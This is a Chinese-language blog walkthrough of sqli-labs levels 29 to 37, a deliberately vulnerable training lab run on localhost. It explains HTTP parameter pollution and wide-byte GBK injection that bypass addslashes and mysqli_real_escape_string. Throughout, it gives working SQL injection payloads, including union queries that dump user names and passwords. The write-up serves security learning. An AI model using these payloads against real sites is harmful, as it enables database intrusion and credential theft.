出在这,他虽然对id值进行各种判断各种过滤,但没有取最终过滤好的id1啊,依旧取了前端直接传来的id,这属于开发逻辑上的错误的,所有我们这里只需要绕过判断即可

1&id=-1' union select 1,2,3 -- -

完整链接

http://localhost/sqli/Less-29/login.php?id=1&id=-1' union select 1,2,3 -- -

查询语句

SELECT * FROM users WHERE id='-1' union select 1,2,3 -- -' LIMIT 0,1

$_GET的取值方式

这里还用到一个知识点就是,我们传了两个id值,一个是1,一个是-1' union select 1,2,3 -- -当有两个id值,$_GET会取哪个,$_GET应该是从后往前取的,我们看一下
在这里插入图片描述
在这里插入图片描述
所以我们再看一下我之前给的payload

在这里插入图片描述
取的值是后面的值

所以这题能产生注入的点就是因为$_GET方法的取值

less-30

标题:GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application

这关跟29关一样,也说有个防火墙,就是没搞懂,有搞懂的大哥求求私信告诉我

第30关跟29关情况一样,index.php就是变成了"闭合

less-31

标题: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application

跟29、30关一样,只不过闭合变成了")

less-32

标题:GET - Bypass custom filter adding slashes to dangerous chars

页面上有两句话
在这里插入图片描述

Hint: The Query String you input is escaped as : 1
The Query String you input in Hex becomes : 31
/提示:您输入的查询字符串转义为:1
/以十六进制输入的查询字符串变为:31 

我们看一下源码,里面加了两个自定义方法

strToHex()

function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}

strlen()

定义用法:

strlen() 函数返回字符串的长度,中文字符串的处理使用 mb_strlen() 函数。

语法:

strlen(string) 

详见PHP strlen() 函数

ord()

定义和用法:

ord() 函数返回字符串中第一个字符的 ASCII 值。

语法:

ord(string) 

详见PHP ord() 函数

dechex()

定义和用法:

dechex() 函数把十进制数转换为十六进制数。
提示:如需把十六进制转换为十进制,请查看 hexdec() 函数。

语法:

dechex(number);

详见PHP dechex() 函数

用户自定义的strToHex方法实际上是将转义后的字符串转换为16进制

我们再看作者另一个自定义方法
check_addslashes()

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    return $string;
}

preg_quote()

详见PHP preg_quote() 函数

定义和用法:

preg_replace 函数用于转义正则表达式字符。
preg_quote() 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。

正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -

语法:

string preg_quote ( string $str [, string $delimiter = NULL ] )
参数描述
$str输入字符串。
$delimiter如果指定了可选参数 delimiter,它也会被转义。这通常用于 转义 PCRE 函数使用的分隔符。 / 是最通用的分隔符
 $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);  

这一行代码
正则匹配部分:\\经过preg_quote()函数处理为\\\\,经PHP解释器转为\\,经正则解释器转为\
替换部分:

可参考:【PHP】之4个反斜杠、3个反斜杠的情况

$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
$id=check_addslashes($_GET['id']);

以及'"都会被此函数添加\转义字符

此题的注入点在数据库编码格式上,产生了宽字节注入,成因可详见宽字节注入原理分析,我们数据库的编码格式为

后台查询前也设置了语句:

mysqli_query($con1, "SET NAMES gbk");

此语句用于设定字符集,重启后无效
在这里插入图片描述

通俗的讲是服务器采用了宽字节编码,像GB2312、GBK、GB18030、BIG5、Shift_JIS等
此编码格式两个字节代表一个汉字

例1:我们前端传值为'
在这里插入图片描述
后端添加转义符号,\的GBK16进制编码为%5c'的GBK16进制编码为%27,这是正常转义流程

例2:我们前端传值为%df'
在这里插入图片描述
%df%5c是繁体字,我们用这种方法来与\拼成新的字符,以此来绕过后端转义

所以我们可以构造payload

-1%df' union select 1,2,3 -- -

查询语句:

SELECT * FROM users WHERE id='-1運' union select 1,2,3 -- -' LIMIT 0,1

在这里插入图片描述
查用户名密码

paylaod:

-1%df' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -

查询语句:

SELECT * FROM users WHERE id='-1運' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -' LIMIT 0,1

在这里插入图片描述
less-33

标题: GET - Bypass AddSlashes()

这一关跟32关一样是宽字节注入,只不过呢,转义函数是addslashes()

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

addslashes()

定义和用法:

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

语法:

addslashes(string) 

一样的效果

查用户名密码

paylaod:

-1%df' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -

查询语句:

SELECT * FROM users WHERE id='-1運' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -' LIMIT 0,1

在这里插入图片描述

less-34

标题:POST - Bypass AddSlashes()

跟33关一样的,不过提交类型是POST,burpsuite抓包

payload:

-1%df' union select 1,2-- -

less-35

标题:GET - Bypass AddSlashes (we dont need them) Integer based

正如题目所说是整数型注入,看一下源码

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

addslashes()只转义'"\NULL
所有对于整数型注入,就没有什么意义的,这个题可以定义为无效转义联合查询

less-36

标题:GET - Bypass MySQL_real_escape_string

这一关采用的是mysqli_real_escape_string()做转义

function check_quotes($con1, $string)
{
    $string=mysqli_real_escape_string($con1, $string);    
    return $string;
}

mysqli_real_escape_string()

详见PHP mysqli_real_escape_string() 函数

定义和用法:

mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

语法:

mysqli_real_escape_string(connection,escapestring);
参数描述
connection必需。规定要使用的 MySQL 连接。
escapestring必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。

跟之前的转义函数差不多

payload:

-1%df' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -

less-37

标题:POST - Bypass MySQL_real_escape_string

POST类型提交,原理跟之前一样

payload:

1%df' union select 1,group_concat(password,username) from users--+
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值